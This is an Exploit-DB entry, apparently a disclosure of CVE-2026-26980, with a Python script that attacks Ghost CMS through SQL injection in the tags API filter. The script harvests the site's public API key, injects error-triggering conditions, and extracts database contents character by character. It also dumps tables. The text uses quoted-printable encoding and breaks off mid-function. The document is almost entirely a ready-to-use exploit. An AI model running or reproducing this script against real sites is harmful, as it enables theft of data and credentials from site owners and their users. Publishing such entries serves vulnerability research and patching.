Exploit-DB #52555
Description: Ghost CMS 6.19.0 - SQLi
Type: webapps
Platform: multiple
Date: 2026-05-07
Author: Maksim Rogov

Exploit:
# Exploit Title: Ghost CMS 6.19.0 - SQLi
# Date: 2026-03-30
# Exploit Author: Maksim Rogov
# Exploit Licence: GPL-3.0
# Software Link: https://ghost.org/
# Version: Ghost >=3D 3.24.0, <=3D 6.19.0
# Tested on: Ghost 6.16.1
# CVE : CVE-2026-26980

#!/usr/bin/env python3

import requests
import re
import sys
import argparse
import textwrap
import csv
from typing import Optional
from concurrent.futures import ThreadPoolExecutor
from urllib.parse import urljoin, urlparse

CHARSET =3D "".join(sorted(set("$./[PII_REDACTED]:ABCDEFGHIJKLMNOPQRSTUVWXYZ_ab=
cdefghijklmnopqrstuvwxyz@!#%^&*()+-=3D")))
ERROR_INDICATOR =3D "InternalServerError"=20
DEFAULT_THREADS =3D 15

def to_char_hex(s: str):
    return "||".join([f"char({ord(c)})" for c in s])

class GhostExploit:
    def __init__(self, target_url: str, threads: int =3D DEFAULT_THREADS, d=
bms: str =3D "sqlite", output: str =3D None, user_cols: str =3D None, verif=
y: bool =3D True, manual_key: str =3D None, manual_path: str =3D None):
        self.target =3D target_url.rstrip('/')
        self.threads =3D threads
        self.dbms =3D dbms.lower()
        self.output =3D output
        self.user_cols =3D [c.strip() for c in user_cols.split(',')] if use=
r_cols else None
        self.session =3D requests.Session()
        self.session.verify =3D verify
        self.manual_key =3D manual_key
        self.manual_path =3D manual_path
        if not verify:
            import urllib3
            urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarn=
ing)
        self.api_key, self.endpoint, self.tag_slug, self.tag_id, self.url_t=
emplate =3D "", "", "", "", ""

    def discover(self) -> bool:
        try:
            if self.manual_key and self.manual_path:
                self.api_key =3D self.manual_key
                self.endpoint =3D urljoin(self.target, self.manual_path)
                if not self.endpoint.endswith('/'): self.endpoint +=3D '/'
            else:
                r =3D self.session.get(self.target, timeout=3D10)
                self.api_key =3D re.search(r'data-key=3D"([a-f0-9]+)"', r.t=
ext).group(1)
                api_raw =3D re.search(r'data-api=3D"([^"]+)"', r.text).grou=
p(1)
                path =3D urlparse(api_raw).path
                self.endpoint =3D urljoin(self.target, path)
                if not self.endpoint.endswith('/'): self.endpoint +=3D '/'

            r_tags =3D self.session.get(f"{self.endpoint}tags/?key=3D{self.=
api_key}", timeout=3D10).json()
            tag =3D r_tags['tags'][0]
            self.tag_slug, self.tag_id =3D tag['slug'], tag['id']
            self.url_template =3D f"{self.endpoint}tags/?key=3D{self.api_ke=
y}&filter=3Dslug:['*',{self.tag_slug}]&limit=3Dall"
            return True
        except:=20
            return False

    def check(self, cond: str) -> bool:
        if self.dbms =3D=3D "mysql":
            err_payload =3D "(SELECT exp(710))"
        else:
            err_payload =3D "(SELECT abs([PII_REDACTED]854775808))"

        payload =3D f" OR ({cond}) THEN {err_payload} WHEN slug=3D"
        try:
            r =3D self.session.get(self.url_template.replace("*", payload, =
1), timeout=3D7)
            return "badrequesterror" in r.text.lower() or ERROR_INDICATOR.l=
ower() in r.text.lower()
        except: return False

    def get_len(self, query: str) -> int:
        length =3D 0
        for bit in [64, 32, 16, 8, 4, 2, 1]:
            if self.check(f"LENGTH(({query}))>=3D{length + bit}"): length +=
=3D bit
        return length

    def get_char(self, query: str, pos: int) -> str:
        low, high =3D 0, len(CHARSET) - 1
        while low < high:
            mid =3D (low + high) // 2
            char_code =3D ord(CHARSET[mid + 1])
           =20
            if self.dbms =3D=3D "mysql":
                cond =3D f"ASCII(SUBSTR(({query}) FROM {pos} FOR 1))>=3D{ch=
ar_code}"
            else:
                prefix =3D "||".join(["char(63)"] * (pos - 1))
                c_range =3D f"char(91)||char({char_code})||char(45)||char({=
ord(CHARSET[-1])})||char(93)"
                cond =3D f"({query}) GLOB {prefix}||{c_range}||char(42)" if=
 prefix else f"({query}) GLOB {c_range}||char(42)"

            if self.check(cond): low =3D mid + 1
            else: high =3D mid
        return CHARSET[low]

    def extract(self, query: str, label: str, force_len: int =3D None) -> s=
tr:
        length =3D force_len if force_len is not None else self.get_len(que=
ry)
        if length <=3D 0: return ""
       =20
        chars =3D [""] * length
        with ThreadPoolExecutor(max_workers=3Dself.threads) as ex:
            futures =3D {ex.submit(self.get_char, query, i+1): i for i in r=
ange(length)}
            for f in futures:
                chars[futures[f]] =3D f.result()
                sys.stdout.write(f"\r  {label} ({length} chars): {''.join(c=
 if c else '.' for c in chars)}")
                sys.stdout.flush()
        res =3D "".join(chars)
        sys.stdout.write(f"\r  {label} ({length} chars): {res}\n")
        return res

    def print_table(self, columns, rows):
        if not rows: return
        widths =3D {col: len(col) for col in columns}
        for row in rows:
            for col in columns:
                widths[col] =3D max(widths[col], len(str(row.get(col, "")))=
)

        sep =3D "+" + "+".join(["-" * (widths[col] + 2) for col in columns]=
) + "+"
        head =3D "|" + "|".join([f" {col.ljust(widths[col])} " for col in c=
olumns]) + "|"
       =20
        print("\n" + sep)
        print(head)
        print(sep)
        for row in rows:
            line =3D "|" + "|".join([f" {str(row.get(col, '')).ljust(widths=
[col])} " for col in columns]) + "|"
            print(line)
        print(sep + "\n")

    def dump_table(self, table_name: str):
        print(f"\n[*] Dumping table: {table_name}")
        cast_type